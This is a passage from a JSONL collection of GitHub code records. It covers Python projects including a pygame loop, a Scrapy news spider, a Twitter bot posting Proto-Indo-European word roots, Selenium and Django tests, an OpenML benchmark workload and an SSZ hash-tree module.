f\"({round(output_data['percs_wall_eur'][i]['perc'], 2)}%)\")\n        i += 1\n    output_data['assets_list'].sort(key=lambda x: x[9], reverse=True)\n    output_data['actual_list'].sort(key=lambda x: x[6], reverse=True)\n    output_data['percs_wall'].sort(key=lambda x: x['perc'], reverse=True)\n    output_data['percs_wall_eur'].sort(key=lambda x: x['perc'], reverse=True)\n    use('Agg')\n    return prepare_output(output_data, file_name_order, file_name_pdf)\n","repo_name":"sgarzo10/BotTelegram","sub_path":"src/binance.py","file_name":"binance.py","file_ext":"py","file_size_in_byte":17046,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"20896339908","text":"import pygame as pg\nimport src.state as state\nfrom src.config import *\nfrom src.Menu import Menu\nfrom src.Level import Level\nfrom src.Store import Store\n\n# Kelas utama sebagai game loop.\nclass Main:\n\n    def __init__(self, game_name):\n        self.__game_name = game_name\n        self.__menu = None\n        self.__level = None\n\n        # Menyiapkan game.\n        pg.init()\n        pg.mixer.init() \n        pg.display.set_caption(self.__game_name)\n        self.__clock = pg.time.Clock()\n\n        # Load file temporary.\n        store = Store()\n        store.load_checkpoints()\n\n    def __watch_page(self):\n        if state.PAGE == 'menu':\n            if not self.__menu: \n                self.__menu = Menu()\n                if self.__level:\n                    self.__level.backsong.stop()\n                    self.__level = None\n            self.__menu.render()\n        elif state.PAGE == 'game-run':\n            if not self.__level: \n                self.__level = Level()\n                if self.__menu:\n                    self.__menu.backsong.stop()\n                    self.__menu = None\n            if state.LEVEL_RESET:\n                self.__level.backsong.stop()\n                self.__level = None\n                self.__level = Level()\n                state.LEVEL_RESET = False\n            self.__level.render()\n        elif state.PAGE == 'loading-screen':\n            if self.__menu: self.__menu = None\n            if self.__level: self.__level = None\n\n    def run(self):\n        while True:\n            # Mengawasi event exit.\n            for event in pg.event.get():\n                if event.type == pg.QUIT:\n                    self.menu.exit()\n                # if event.type == pg.MOUSEMOTION:\n                #     # print(pg.mouse.get_pos())\n            \n            # Update tampilan game.\n            self.__watch_page()\n            pg.display.update()\n            self.__clock.tick(FPS)","repo_name":"neszha/nyebrangin","sub_path":"src/Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":1908,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"12197281131","text":"import sys\nimport glob\nimport os\nfrom tqdm import tqdm\nimport numpy as np\nfrom PIL import Image\n\noutput_paths1 = 'data/train/train'\nos.makedirs(output_paths1, exist_ok=True)\noutput_anno1 = 'data/train/train_annotation.txt'\noutput_paths2 = 'data/val/val'\nos.makedirs(output_paths2, exist_ok=True)\noutput_anno2 = 'data/val/val_annotation.txt'\ntarget_anno = 'data_v6/all.txt'\n\nanno_file = open(target_anno)\nanno_list = anno_file.readlines()\n\ntrain_num = 0\nval_num = 0\n\nfor idx, line in enumerate(tqdm(anno_list)):\n    # if idx > 30:\n    #     break\n    oneline = line.strip().split(\" \")\n    img_path = oneline[0]\n    img = Image.open(img_path).convert('RGB')\n    if idx % 50 == 0:\n        output_path = os.path.join(output_paths2, str(val_num) + \".jpg\")\n        val_num += 1\n        img.save(output_path, format='JPEG', subsampling=0, quality=100)\n        oneline[0] = output_path\n        oneline = \" \".join(oneline)\n        # print(idx, oneline)\n        oneline += \"\\n\"\n        f = open(output_anno2, \"a\")\n        f.write(oneline)\n        f.close()\n    else:\n        output_path = os.path.join(output_paths1, str(train_num) + \".jpg\")\n        train_num += 1\n        img.save(output_path, format='JPEG', subsampling=0, quality=100)\n        oneline[0] = output_path\n        oneline = \" \".join(oneline)\n        # print(idx, oneline)\n        oneline += \"\\n\"\n        f = open(output_anno1, \"a\")\n        f.write(oneline)\n        f.close()\nprint(\"finish convert %d train to %s\" % (train_num, output_paths1))\nprint(\"finish convert %d val to %s\" % (val_num, output_paths2))\n#\n# with open(output_anno, \"a\") as f:\n#     for idx, line in enumerate(anno_list):\n#         oneline = line.strip().split(\" \")\n#         img_path = oneline[0]\n#         img = Image.open(img_path).convert('RGB')\n#         output_path = os.path.join(output_paths, str(idx) + \".jpg\")\n#         img.save(output_path, format='JPEG', subsampling=0, quality=100)\n#         oneline[0] = output_path\n#         oneline = \" \".join(oneline)\n#         print(idx, oneline)\n#         oneline += \"\\n\"\n#         f.write(oneline)\n# f.close()\n","repo_name":"K1nght/Matrix-in-Sight","sub_path":"utils/move_txt.py","file_name":"move_txt.py","file_ext":"py","file_size_in_byte":2086,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"9266176435","text":"import scrapy\nfrom crawler.items import Item\n\n\nclass VNnetSpider(scrapy.Spider):\n    name = \"vnnet\"\n    start_urls = [\n        'http://vietnamnet.vn/tai-nan-giao-thong-tag52274.html',\n    ]\n\n    def parse(self, response):\n        for tn in response.xpath('//li[@class=\"ArticleCateItem item clearfix dotter\"]/h3'):\n            src = tn.xpath('a[@class=\"title f-16 articletype_5\"]/@href').extract_first()\n            src = response.urljoin(src)\n            yield scrapy.Request(src, callback=self.parse_src)\n\n        if len(response.xpath('//a[@id=\"hBack\"]').extract()) == 1:\n            next_page = response.xpath('//a[@id=\"hBack\"]/@href').extract_first()\n            if next_page is not None:\n                next_page = response.urljoin(next_page)\n                print(next_page)\n                yield scrapy.Request(next_page, callback=self.parse)\n        elif len(response.xpath('//a[@id=\"hBack\"]').extract()) == 2:\n            next_page = response.xpath('//a[@id=\"hBack\"]/@href').extract()\n            next = next_page[1]\n            print(next)\n            if next is not None:\n                next = response.urljoin(next)\n                print(next)\n                yield scrapy.Request(next, callback=self.parse)\n\n    def parse_src(self, response):\n        self.item = Item()\n        self.item[\"time\"] = response.xpath('//div[@class=\"ArticleDateTime\"]/span[@class=\"ArticleDate\"]/text()').extract()\n        self.item[\"title\"] = response.xpath('//div[@class=\"ArticleDetail\"]/h1[@class=\"title\"]/text()').extract()\n        self.item[\"description\"] = response.xpath('//div[@id=\"ArticleContent\"]/p/strong/text()').extract()\n        content = \"\"\n        for con in response.xpath('//div[@id=\"ArticleContent\"]/p/text()').extract():\n                content += con\n        self.item[\"content\"] = content\n        if content != \"\":\n            yield self.item","repo_name":"tungct/TNGTCrawler","sub_path":"crawler/spiders/vietnamnet.py","file_name":"vietnamnet.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70705206822","text":"import json\nimport mysql.connector\nimport random\nimport twitter\n\nCHAR_LIMIT = 140\n\n\nclass PIEbot(object):\n    \n    def __init__(self, config=None):\n        \"\"\" intialize without config for testing \"\"\"\n        if config:\n            self.db = mysql.connector.connect(**config['db'])\n            self.cursor = self.db.cursor(dictionary=True)\n            self.api = twitter.Api(**config['twitter'])\n\n\n    def random_root_id(self):\n        \"\"\" fetch the id of a random PIE root from the DB, return an int \"\"\"\n        self.cursor.execute('select root_id from pie_roots')\n        ids = self.cursor.fetchall()\n        return random.choice(ids)['root_id']\n\n    def random_words_of_root_id(self, root_id, count=1):\n        \"\"\" fetch a number of random words descended from root_id;\n        ensure each is from a different language;\n        return list of dicts \"\"\"\n        query = (\"select root, root_pokorny, root_meaning, lang_name, lang_flag, mod_word, mod_pos, mod_meaning \"\n                 \"from mod_words as W \"\n                 \"join languages as L on W.lang_id = L.lang_id \"\n                 \"join pie_roots as R on W.root_id = R.root_id \"\n                 \"where W.root_id = %(root_id)s\")\n        self.cursor.execute(query, { 'root_id': root_id })\n        words = self.cursor.fetchall()\n        results = []\n        while count > 0 and words:\n            this_word = random.choice(words)\n            results.append(this_word)\n            words = [ word for word in words if word['lang_name'] != this_word['lang_name'] ]\n            count -= 1\n        return results\n\n    def format_root(self, root, pokorny, meaning):\n        \"\"\" format a root and its Pokorny formulation (which often doesn't match)\n        for tweeting; return a str \"\"\"\n        if not pokorny or root == '*'+pokorny:\n            root_phrase = \"PIE {} ({})\".format(root, meaning)\n        else:\n            root_phrase = \"PIE {} or {} ({})\".format(root, pokorny, meaning)\n        return root_phrase\n\n    def format_gloss(self, lang, mod_pos, mod_meaning):\n        \"\"\" format the modern-language gloss and return a str \"\"\"\n        if lang == 'English':\n            gloss = mod_pos\n        else:\n            gloss = \"{}, \\\"{}\\\"\".format(mod_pos, mod_meaning)\n        return gloss\n\n\n    def write_basic_tweet(self, row):\n        \"\"\" format a simple tweet for one descendant, and return a str \"\"\"\n        lang = row['lang_name'].decode(\"utf-8\")\n\n        root = self.format_root(row['root'], row['root_pokorny'], row['root_meaning'])\n\n        modern = \"{} \\\"{}\\\"\".format(lang, row['mod_word'])\n        gloss = self.format_gloss(lang, row['mod_pos'], row['mod_meaning'])\n        tweet = \"{} > {} ({})\".format(root, modern, gloss)\n\n        return tweet\n\n    def write_tweet_with_flags(self, rows):\n        \"\"\" format a tweet for 3 langs and return a str \"\"\"\n        root = self.format_root(rows[0]['root'], rows[0]['root_pokorny'], rows[0]['root_meaning'])\n        mod_strings = []\n        for row in rows:\n            lang = row['lang_name'].decode(\"utf-8\")\n            if row['lang_flag']:\n                lang_display = row['lang_flag'].decode('utf-8')\n            else:\n                lang_display = lang\n            gloss = self.format_gloss(lang, row['mod_pos'], row['mod_meaning'])\n            mod_str = \"{}: \\\"{}\\\" ({})\".format(lang_display, row['mod_word'], gloss)\n            mod_strings.append(mod_str)\n        tweet = \"{}:\\n{}\".format(root, \"\\n\".join(mod_strings))\n\n        # if too long, exclude Pokorny from the root... will probably need to be changed later\n        if len(tweet) > CHAR_LIMIT:\n            root = self.format_root(rows[0]['root'], None, rows[0]['root_meaning'])\n            tweet = \"{}:\\n{}\".format(root, \"\\n\".join(mod_strings))\n\n        return tweet\n\n\n    def post_tweet(self, tweet):\n        \"\"\" post a str as a tweet, and return a twitter.Status \"\"\"\n        return self.api.PostUpdate(tweet)\n\n\n    def get_all_roots(self):\n        \"\"\" return all roots as a list of dicts \"\"\"\n        query = (\"select root_id, root, root_meaning, root_pokorny, source, date_added \"\n                 \"from pie_roots\")\n        self.cursor.execute(query)\n        return self.cursor.fetchall()\n\n\n    def close(self):\n        \"\"\" close db connection \"\"\"\n        self.db.close()\n\n\nif __name__ == '__main__':\n    with open('config.json') as file:\n        config = json.load(file)\n    p = PIEbot(config)\n    root_id = p.random_root_id()\n\n    tweet_type = random.choice(['single', 'three_flags'])\n    if tweet_type == 'single':\n        word_entry = p.random_words_of_root_id(root_id)[0]\n        tweet = p.write_basic_tweet(word_entry)\n    elif tweet_type == 'three_flags':\n        word_entries = p.random_words_of_root_id(root_id, 3)\n        tweet = p.write_tweet_with_flags(word_entries)\n\n    print(tweet)\n    print(\"{} chars\".format(len(tweet)))\n    inp = input('post tweet? [y/N]')\n    if inp == 'y':\n        status = p.post_tweet(tweet)\n        print(\"@{}: {}\".format(status.user.screen_name, status.text))\n\n    p.close()\n","repo_name":"dojobo/PIEbot","sub_path":"PIEbot.py","file_name":"PIEbot.py","file_ext":"py","file_size_in_byte":4994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"32816475448","text":"import argparse\nimport os\n\nfrom config import Config\nfrom migrations.database import Database\nfrom migrations.migration import Migration\n\n\ndef main(checking):\n    \"\"\" Migration run. \"\"\"\n    path = os.path.join('/migrations', 'versions')\n    db = Database(conf=Config.POSTGRES).connect()\n\n    migration = Migration(path=path, db=db)\n    migrations = migration.get_migrations(checking=checking)\n\n    if not checking:\n        migration.migrate(migrations=migrations)\n\n\nif __name__ == '__main__':\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-c', action='store_true')\n    args = parser.parse_args()\n\n    main(checking=args.c)\n","repo_name":"ihsergeevich/SoftwareEngineerTestCase","sub_path":"migrate.py","file_name":"migrate.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"25402036644","text":"import pytest\nfrom TodoApp.models import Task\nfrom datetime import datetime\n\n\n@pytest.mark.django_db\nclass TestTaskModel:\n    def test_create_task_model_valid_data(self):\n        task = Task.objects.create(\n            name=\"test\",\n            status=1,\n            created_date=datetime.now(),\n        )\n        assert task is not None\n        assert task.name == \"test\"\n        assert task.status == 1\n        assert Task.objects.filter(pk=task.id).exists() == True\n\n    def test_create_task_model_bad_data(self):\n        try:\n            task = Task.objects.create(\n                name=\"test\",\n            )\n            assert task is None\n        except Exception:\n            assert True\n","repo_name":"MHoseinJafari/django-advanced","sub_path":"core/TodoApp/tests/test_task_model.py","file_name":"test_task_model.py","file_ext":"py","file_size_in_byte":694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22003654700","text":"from django.shortcuts import render\nfrom django.views import View\nfrom jobseeker_app import models\n#from jobpost_app.models import Industry\n\n# Create your views here.\nclass SeekerLoginReg(View):\n    template='jobseeker_app/seeker_login_reg.html'\n    context={'title':'Jobs Seeker Login/Registration'}\n\t\n    def get(self, request, seeker_id=None):\n      return render(request, self.template, self.context)\n\t\n    def post(self, request, seeker_id=None):\n      first_name = request.POST.get('first_name','')\n      last_name = request.POST.get('last_name','')\n      gender = request.POST.get('gender','')\n      mobile = request.POST.get('mobile','')\n      email = request.POST.get('email','')\n      industry_id = request.POST.get('industry','')\n      user_name = request.POST.get('user_name','')\n      user_pwd = request.POST.get('user_pwd','')\n      re_pwd = request.POST.get('re-pwd','')\n\t  \n\t  \n      if seeker_id:\n        seeker=models.SeekerReg.objects.get(pk=seeker_id)\n        seeker.first_name = first_name\n        seeker.last_name = last_name\n        seeker.gender = gender\n        seeker.mobile = mobile\n        seeker.email = email\n        seeker.industry = industry_id\n        seeker.save()\n        msg=\"Data updated successfully ...\"\n      else:\n        seeker=models.SeekerReg(\n          first_name = first_name,\n          last_name = last_name,\n          gender = gender,\n          mobile = mobile,\n          email = email,\n          user_name = user_name,\n          user_pass = user_pwd\n\t\t)\n        seeker.save()\n        seeker.industry.add(industry_id)\n        msg=\"Data saved successfully ...\"\n      context={'title':'Jobs Seeker Login/Registration','seeker':seeker,'msg':msg}\n      return render(request, self.template, context)","repo_name":"DTSREPO/DjangoProjects","sub_path":"job_project/jobseeker_app/views/seeker_profile_view.py","file_name":"seeker_profile_view.py","file_ext":"py","file_size_in_byte":1743,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"14864733641","text":"def codifica(nome):\n    letras =\"aeiots\" \n    cods = \"@31075\"\n    for i in range(len(letras)):\n        nome = nome.replace(letras[i],cods[i])\n        nome = nome.replace(letras[i].upper(),cods[i])\n    return nome\n    \ndef contsubs(nome):\n    letras =\"aeiotsAEIOTS\" \n    cont = 0\n    for i in letras:\n        if i in nome:\n            cont += nome.count(i)\n    return cont\n    \ndef MensErro(nome):\n    if nome == \"\":\n        print(\"Estamos com problemas na conex?o com o servidor\")\n    else:\n        print(\"numeros\")\n        print(0)\ndef isnumero(nome):\n    for i in nome:\n        if i.isdigit():\n            return True\n    return False\n\nnome = input()[::-1]\n\nif isnumero(nome) or nome == \"\":\n    MensErro(nome)\nelse:\n    print(codifica(nome))\n    print(contsubs(nome))\n","repo_name":"aryelson1/Atividades-Python","sub_path":"9 - Problemas com funções/Brincando.py","file_name":"Brincando.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"70715346021","text":"\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver import ActionChains\nfrom selenium.webdriver.chrome.service import Service as ChromeService\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.select import Select\nfrom webdriver_manager.chrome import ChromeDriverManager\n\noptions = webdriver.ChromeOptions()\noptions.add_experimental_option(\"detach\",True)\noptions.add_argument(\"--start-maximized\")\ndriver = webdriver.Chrome(options=options,service=ChromeService(ChromeDriverManager().install()))\ndriver.get(\"https://demo.guru99.com/test/simple_context_menu.html\")\ndriver.maximize_window()\ndriver.implicitly_wait(30)\n\nact = ActionChains(driver)\nact.context_click(driver.find_element(By.XPATH,\"//span[text()='right click me']\"))\nact.move_to_element(driver.find_element(By.XPATH,\"//span[text()='Copy']\"))\nact.click(driver.find_element(By.XPATH,\"//span[text()='Copy']\"))\n\nact.perform()\n\ndriver.switch_to.alert.accept()\ntime.sleep(3)\ntime.sleep(3)\nact.double_click(driver.find_element(By.XPATH,\"//button[text()='Double-Click Me To See Alert']\"))\nact.perform()","repo_name":"automationbytes/Sel_Python_May2023","sub_path":"SeleniumPractice/ContextClick.py","file_name":"ContextClick.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"31600173237","text":"import warnings\nfrom datetime import datetime\n\nfrom sklearn.metrics import accuracy_score\n\nfrom experiment_graph.openml_helper.openml_connectors import *\nfrom experiment_graph.workload import Workload\n\nwarnings.filterwarnings(\"ignore\")\nfrom openml import config\n\n\nclass OpenMLBaselineWorkload(Workload):\n    def __init__(self, setup, pipeline, task_id):\n        Workload.__init__(self)\n        self.setup = setup\n        self.pipeline = pipeline\n        self.task_id = task_id\n        self.score = 0.0\n\n    def run(self, root_data):\n        try:\n            train_data = pd.read_csv(\n                root_data + '/openml/task_id={}/datasets/train.csv'.format(self.task_id), header='infer',\n                index_col=False)\n            test_data = pd.read_csv(\n                root_data + '/openml/task_id={}/datasets/test.csv'.format(self.task_id), header='infer',\n                index_col=False)\n\n            y = train_data['class']\n            X = train_data.drop(['class'], axis=1)\n\n            test_y = test_data['class']\n            test_x = test_data.drop(['class'], axis=1)\n\n            edges = skpipeline_to_edge_list(pipeline=self.pipeline, setup=self.setup)\n\n            for i in range(len(edges) - 1):\n                transformer = edges[i]\n                transformer.fit(X)\n                X = transformer.transform(X)\n                test_x = transformer.transform(test_x)\n\n            model = edges[-1]\n            model.fit(X, y)\n            predictions = model.predict(test_x)\n            self.score = accuracy_score(test_y, predictions)\n            return True\n        except Exception as err:\n            print('error for pipeline: {}, setup: {}, err: {}'.format(self.pipeline, self.setup.setup_id, err))\n            return False\n\n        # print 'pipeline: {}, setup: {}, score: {0:.6f}'.format(self.setup.flow_id, self.setup.setup_id, score)\n\n    def get_score(self):\n        return self.score\n\n\nif __name__ == \"__main__\":\n    import sys\n\n    if len(sys.argv) > 1:\n        SOURCE_CODE_ROOT = sys.argv[1]\n    else:\n        SOURCE_CODE_ROOT = '/Users/bede01/Documents/work/phd-papers/ml-workload-optimization/code/collaborative' \\\n                           '-optimizer/ '\n    sys.path.append(SOURCE_CODE_ROOT)\n    from paper.experiment_helper import Parser\n    from experiment_graph.executor import BaselineExecutor\n\n    parser = Parser(sys.argv)\n    verbose = parser.get('verbose', 0)\n    DEFAULT_ROOT = '/Users/bede01/Documents/work/phd-papers/ml-workload-optimization'\n    ROOT = parser.get('root', DEFAULT_ROOT)\n    ROOT_DATA_DIRECTORY = ROOT + '/data'\n\n    openml_task = int(parser.get('task', 31))\n\n    limit = int(parser.get('limit', 20))\n\n    OPENML_DIR = ROOT_DATA_DIRECTORY + '/openml/'\n    config.set_cache_directory(OPENML_DIR + '/cache')\n    OPENML_DATASET = ROOT_DATA_DIRECTORY + '/openml/task_id={}'.format(openml_task)\n    setup_and_pipelines = get_setup_and_pipeline(OPENML_DATASET + '/all_runs.csv', limit)\n\n    executor = BaselineExecutor()\n\n    execution_start = datetime.now()\n\n    for setup, pipeline in setup_and_pipelines:\n        workload = OpenMLBaselineWorkload(setup, pipeline, task_id=openml_task)\n        executor.end_to_end_run(workload=workload, root_data=ROOT_DATA_DIRECTORY)\n\n    execution_end = datetime.now()\n    elapsed = (execution_end - execution_start).total_seconds()\n\n    print('finished execution in {} seconds'.format(elapsed))\n","repo_name":"dbehrouz/ml-workload-optimization","sub_path":"code/collaborative-optimizer/experiment_graph/workloads/openml_baseline.py","file_name":"openml_baseline.py","file_ext":"py","file_size_in_byte":3393,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"11910785371","text":"import csv\nwith open('emp.csv','w') as f:\n    w=csv.writer(f)\n    w.writerow(['ENO','ENAME','ESAL','EADDR'])\n    n=int(input('Enter no.of employees:'))\n    for i in range(n):\n        eno=int(input('Enter employee number:'))\n        ename=input('Enter name of the employee:')\n        esal=float(input('Enter employee salary'))\n        eaddr=input('Enter Employee address')\n        w.writerow([eno,ename,esal,eaddr])\nprint('Total employees data written to CSV file successfully')\n","repo_name":"adityachepuri/advanced_python","sub_path":"File Handling/Session 54 (new Videos) - File Handling Intro/csv_employee.py","file_name":"csv_employee.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30687477757","text":"import functools\nimport itertools\nfrom typing import (\n    Any,\n    Dict,\n    Generator,\n    Iterable,\n    Iterator,\n    List,\n    Optional,\n    Sequence,\n    Tuple,\n    TypeVar,\n    Union,\n)\n\nfrom eth_typing import Hash32\nfrom eth_utils import to_dict, to_tuple\nfrom eth_utils.toolz import groupby, partition, pipe\nfrom pyrsistent import pvector\nfrom pyrsistent._transformations import transform\nfrom pyrsistent.typing import PVector\n\nfrom ssz.abc import (\n    HashableStructureAPI,\n    HashableStructureEvolverAPI,\n    ResizableHashableStructureAPI,\n    ResizableHashableStructureEvolverAPI,\n)\nfrom ssz.constants import CHUNK_SIZE, ZERO_BYTES32\nfrom ssz.hash_tree import HashTree\nfrom ssz.sedes.base import BaseProperCompositeSedes\n\nTStructure = TypeVar(\"TStructure\", bound=\"BaseHashableStructure\")\nTResizableStructure = TypeVar(\n    \"TResizableStructure\", bound=\"BaseResizableHashableStructure\"\n)\nTElement = TypeVar(\"TElement\")\n\n\ndef update_element_in_chunk(\n    original_chunk: Hash32, index: int, element: bytes\n) -> Hash32:\n    \"\"\"\n    Replace part of a chunk with a given element.\n\n    The chunk is interpreted as a concatenated sequence of equally sized elements. This function\n    replaces the element given by its index in the chunk with the given data.\n\n    If the length of the element is zero or not a divisor of the chunk size, a `ValueError` is\n    raised. If the index is out of range, an `IndexError` is raised.\n\n    .. doctest::\n\n        >>> from ssz.hashable_structure import update_element_in_chunk\n        >>> update_element_in_chunk(b\"aabbcc\", 1, b\"xx\")\n        b'aaxxcc'\n    \"\"\"\n    element_size = len(element)\n    chunk_size = len(original_chunk)\n\n    if element_size == 0:\n        raise ValueError(f\"Element size is zero\")\n    if chunk_size % element_size != 0:\n        raise ValueError(f\"Element size is not a divisor of chunk size: {element_size}\")\n    if not 0 <= index < chunk_size // element_size:\n        raise IndexError(f\"Index out of range for element size {element_size}: {index}\")\n\n    first_byte_index = index * element_size\n    last_byte_index = first_byte_index + element_size\n\n    prefix = original_chunk[:first_byte_index]\n    suffix = original_chunk[last_byte_index:]\n    return Hash32(prefix + element + suffix)\n\n\ndef update_elements_in_chunk(\n    original_chunk: Hash32, updated_elements: Dict[int, bytes]\n) -> Hash32:\n    \"\"\"\n    Update multiple elements in a chunk.\n\n    The set of updates is given by a dictionary mapping indices to elements. The items of the\n    dictionary will be passed one by one to `update_element_in_chunk`.\n    \"\"\"\n    return pipe(\n        original_chunk,\n        *(\n            functools.partial(update_element_in_chunk, index=index, element=element)\n            for index, element in updated_elements.items()\n        ),\n    )\n\n\ndef get_num_padding_elements(\n    *, num_original_elements: int, num_original_chunks: int, element_size: int\n) -> int:\n    \"\"\"Compute the number of elements that would still fit in the empty space of the last chunk.\"\"\"\n    total_size = num_original_chunks * CHUNK_SIZE\n    used_size = num_original_elements * element_size\n    padding_size = total_size - used_size\n    num_elements_in_padding = padding_size // element_size\n    return num_elements_in_padding\n\n\n@to_dict\ndef get_updated_chunks(\n    *,\n    updated_elements: Dict[int, bytes],\n    appended_elements: Sequence[bytes],\n    original_chunks: Sequence[Hash32],\n    element_size: int,\n    num_original_elements: int,\n    num_padding_elements: int,\n) -> Generator[Tuple[int, Hash32], None, None]:\n    \"\"\"\n    For an element changeset, compute the updates that have to be applied to the existing chunks.\n\n    The changeset is given as a dictionary of element indices to updated elements and a sequence of\n    appended elements. Note that appended elements that do not affect existing chunks are ignored.\n\n    The pre-existing state is given by the sequence of original chunks and the number of elements\n    represented by these chunks.\n\n    The return value is a dictionary mapping chunk indices to chunks.\n    \"\"\"\n    effective_appended_elements = appended_elements[:num_padding_elements]\n    elements_per_chunk = CHUNK_SIZE // element_size\n\n    padding_elements_with_indices = dict(\n        enumerate(effective_appended_elements, start=num_original_elements)\n    )\n    effective_updated_elements = {**updated_elements, **padding_elements_with_indices}\n\n    element_indices = effective_updated_elements.keys()\n    element_indices_by_chunk = groupby(\n        lambda element_index: element_index // elements_per_chunk, element_indices\n    )\n\n    for chunk_index, element_indices in element_indices_by_chunk.items():\n        chunk_updates = {\n            element_index\n            % elements_per_chunk: effective_updated_elements[element_index]\n            for element_index in element_indices\n        }\n        updated_chunk = update_elements_in_chunk(\n            original_chunks[chunk_index], chunk_updates\n        )\n        yield chunk_index, updated_chunk\n\n\n@to_tuple\ndef get_appended_chunks(\n    *, appended_elements: Sequence[bytes], element_size: int, num_padding_elements: int\n) -> Generator[Hash32, None, None]:\n    \"\"\"Get the sequence of appended chunks.\"\"\"\n    if len(appended_elements) <= num_padding_elements:\n        return\n\n    elements_per_chunk = CHUNK_SIZE // element_size\n\n    chunk_partitioned_elements = partition(\n        elements_per_chunk,\n        appended_elements[num_padding_elements:],\n        pad=b\"\\x00\" * element_size,\n    )\n    for elements_in_chunk in chunk_partitioned_elements:\n        yield Hash32(b\"\".join(elements_in_chunk))\n\n\nclass BaseHashableStructure(HashableStructureAPI[TElement]):\n    def __init__(\n        self,\n        elements: PVector[TElement],\n        hash_tree: HashTree,\n        sedes: BaseProperCompositeSedes,\n        max_length: Optional[int] = None,\n    ) -> None:\n        self._elements = elements\n        self._hash_tree = hash_tree\n        self._sedes = sedes\n        self._max_length = max_length\n\n    @classmethod\n    def from_iterable_and_sedes(\n        cls,\n        iterable: Iterable[TElement],\n        sedes: BaseProperCompositeSedes,\n        max_length: Optional[int] = None,\n    ):\n        elements = pvector(iterable)\n        if max_length and len(elements) > max_length:\n            raise ValueError(\n                f\"Number of elements {len(elements)} exceeds maximum length {max_length}\"\n            )\n\n        serialized_elements = [\n            sedes.serialize_element_for_tree(index, element)\n            for index, element in enumerate(elements)\n        ]\n        appended_chunks = get_appended_chunks(\n            appended_elements=serialized_elements,\n            element_size=sedes.element_size_in_tree,\n            num_padding_elements=0,\n        )\n        hash_tree = HashTree.compute(\n            appended_chunks or [ZERO_BYTES32], sedes.chunk_count\n        )\n        return cls(elements, hash_tree, sedes, max_length)\n\n    @property\n    def elements(self) -> PVector[TElement]:\n        return self._elements\n\n    @property\n    def hash_tree(self) -> HashTree:\n        return self._hash_tree\n\n    @property\n    def chunks(self) -> PVector[Hash32]:\n        return self.hash_tree.chunks\n\n    @property\n    def max_length(self) -> Optional[int]:\n        return self._max_length\n\n    @property\n    def raw_root(self) -> Hash32:\n        return self.hash_tree.root\n\n    @property\n    def sedes(self) -> BaseProperCompositeSedes:\n        return self._sedes\n\n    #\n    # Hash and equality\n    #\n    def __hash__(self) -> int:\n        # hashable structures have the same hash if they share both sedes and root\n        return hash((self.sedes, self.hash_tree_root))\n\n    def __eq__(self, other: Any) -> bool:\n        # hashable structures are equal if they use the same sedes and have the same root\n        if isinstance(other, BaseHashableStructure):\n            sedes_equal = self.sedes == other.sedes\n            roots_equal = self.hash_tree_root == other.hash_tree_root\n            return sedes_equal and roots_equal\n        else:\n            return False\n\n    #\n    # PVector interface\n    #\n    def __len__(self) -> int:\n        return len(self.elements)\n\n    def __getitem__(self, index: int) -> TElement:\n        return self.elements[index]\n\n    def __iter__(self) -> Iterator[TElement]:\n        return iter(self.elements)\n\n    def transform(self, *transformations):\n        return transform(self, transformations)\n\n    def mset(self: TStructure, *args: Union[int, TElement]) -> TStructure:\n        if len(args) % 2 != 0:\n            raise TypeError(\n                f\"mset must be called with an even number of arguments, got {len(args)}\"\n            )\n\n        evolver = self.evolver()\n        for index, value in partition(2, args):\n            evolver[index] = value\n        return evolver.persistent()\n\n    def set(self: TStructure, index: int, value: TElement) -> TStructure:\n        return self.mset(index, value)\n\n    def evolver(\n        self: TStructure,\n    ) -> \"HashableStructureEvolverAPI[TStructure, TElement]\":\n        return HashableStructureEvolver(self)\n\n\nclass HashableStructureEvolver(HashableStructureEvolverAPI[TStructure, TElement]):\n    def __init__(self, hashable_structure: TStructure) -> None:\n        self._original_structure = hashable_structure\n        self._updated_elements: Dict[int, TElement] = {}\n        # `self._appended_elements` is only used in the subclass ResizableHashableStructureEvolver,\n        # but the implementation of `persistent` already processes it so that it does not have to\n        # be implemented twice.\n        self._appended_elements: List[TElement] = []\n\n    def __getitem__(self, index: int) -> TElement:\n        if index < 0:\n            index += len(self)\n\n        if index in self._updated_elements:\n            return self._updated_elements[index]\n        elif 0 <= index < len(self._original_structure):\n            return self._original_structure[index]\n        elif 0 <= index < len(self):\n            return self._appended_elements[index - len(self._original_structure)]\n        else:\n            raise IndexError(f\"Index out of bounds: {index}\")\n\n    def set(self, index: int, element: TElement) -> None:\n        self[index] = element\n\n    def __setitem__(self, index: int, element: TElement) -> None:\n        if index < 0:\n            index += len(self)\n\n        if 0 <= index < len(self._original_structure):\n            self._updated_elements[index] = element\n        elif 0 <= index < len(self):\n            self._appended_elements[index - len(self._original_structure)] = element\n        else:\n            raise IndexError(f\"Index out of bounds: {index}\")\n\n    def __len__(self) -> int:\n        return len(self._original_structure) + len(self._appended_elements)\n\n    def is_dirty(self) -> bool:\n        return bool(self._updated_elements or 